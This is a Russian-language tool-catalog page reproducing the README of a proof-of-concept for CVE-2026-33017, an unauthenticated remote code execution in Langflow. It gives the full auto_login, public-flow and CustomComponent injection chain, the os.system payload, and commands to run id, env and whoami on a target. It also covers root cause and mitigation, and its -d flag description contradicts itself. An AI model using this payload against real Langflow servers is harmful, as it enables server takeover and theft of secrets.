Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33017-langflow-rce — Proof-of-concept для CVE-2026-33017, демонстрирующий неаутентифицированное удалённое выполнение кода в уязвимых версиях Langflow через внедрение вредоносного кода CustomComponent. | Kitploit
Инструменты/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Proof-of-concept для CVE-2026-33017, демонстрирующий неаутентифицированное удалённое выполнение кода в уязвимых версиях Langflow через внедрение вредоносного кода CustomComponent.

Репозиторий
591 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33017 - Langflow: удалённое выполнение кода без аутентификации (RCE)

Обзор

CVE ID: CVE-2026-33017
Затронутое ПО: Langflow Уязвимые версии: <= 1.8.2 Исправленная версия: >= 1.9.0 Критичность: Критическая
Автор: arensballiu
Дата: 2026

Описание

Langflow предоставляет публичную конечную точку сборки потока (/api/v1/build_public_tmp/{flowID}/flow), которая принимает произвольные блоки кода CustomComponent и выполняет их на стороне сервера без аутентификации. Внедрив вредоносную полезную нагрузку Python в поле code узла CustomComponent, неаутентифицированный злоумышленник может выполнять произвольные команды операционной системы с привилегиями процесса сервера Langflow.

Цепочка атаки сначала использует конечную точку /api/v1/auto_login, которая выдаёт bearer-токен без требования учётных данных, когда Langflow работает в конфигурации авто-входа по умолчанию. Затем она использует этот токен для создания временного публичного потока и запускает выполнение кода на стороне сервера через конечную точку сборки.

В комплект включён docker-файл, который создаёт экземпляр docker с установленным и запущенным langflow.

Затронутые конечные точки

Конечная точкаМетодТребуется аутентификацияНазначение
/api/v1/auto_loginGETНетПолучение bearer-токена (авто-вход должен быть включён)
/api/v1/flows/POSTДа (Bearer)Создание нового потока
/api/v1/build_public_tmp/{flowID}/flowPOSTНет (публичная)Запуск сборки - уязвимая точка выполнения
/api/v1/flows/{flowID}DELETEДа (Bearer)Очистка созданного потока

Доказательство концепции

Файл: CVE-2026-33017_POC.py

Требования

  • Python 3.x
  • библиотека requests
  • сетевой доступ к экземпляру Langflow, запущенному с включённым авто-входом
pip install requests

Использование

python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Аргументы

ФлагДлинная формаОбязательныйОписание
-u--urlДаБазовый URL экземпляра Langflow
-c--commandДаКоманда ОС для выполнения на сервере
-d--deleteНетУдалить созданный поток после эксплуатации

Примеры

Проверка выполнения кода:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Получение переменных окружения сервера:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Сохраняйте поток активным после эксплуатации (пропустите очистку):

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Ожидаемый вывод

[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Разбор полезной нагрузки

Эксплойт внедряет следующий фрагмент Python в поле code узла CustomComponent:

from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) — динамически импортирует модуль os и выполняет переданную злоумышленником shell-команду на сервере.
  • Остальная часть определения класса представляет собой корректный CustomComponent, необходимый для того, чтобы загрузчик компонентов Langflow принял его без ошибки разбора.
  • Поток создаётся как PUBLIC, и вызывается эндпоинт сборки на его публичном эндпоинте, что означает, что для запуска выполнения не требуется ни сессионный cookie, ни токен аутентификации.

Корневая причина

Система CustomComponent в Langflow позволяет передавать произвольный Python-код в составе определения потока. Эндпоинт /api/v1/build_public_tmp/{flowID}/flow собирает и частично вычисляет этот код на стороне сервера, включая операторы уровня модуля, без песочницы и без ограничения доступа к встроенным средствам Python, таким как __import__.

Сводка цепочки атаки

1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

Все четыре шага может выполнить анонимный злоумышленник против развертывания Langflow с настройками по умолчанию.

Устранение

  • Обновите Langflow до версии 1.9.0 или выше.
  • Отключите авто-логин (LANGFLOW_AUTO_LOGIN=false) в любом развертывании, доступном из интернета.

Отказ от ответственности

Данное proof of concept предоставляется исключительно в образовательных целях и для авторизованных исследований в области безопасности. Использование этого скрипта против систем без явного письменного разрешения является незаконным и неэтичным. Автор и участники не несут ответственности за неправомерное использование.

Скачать инструмент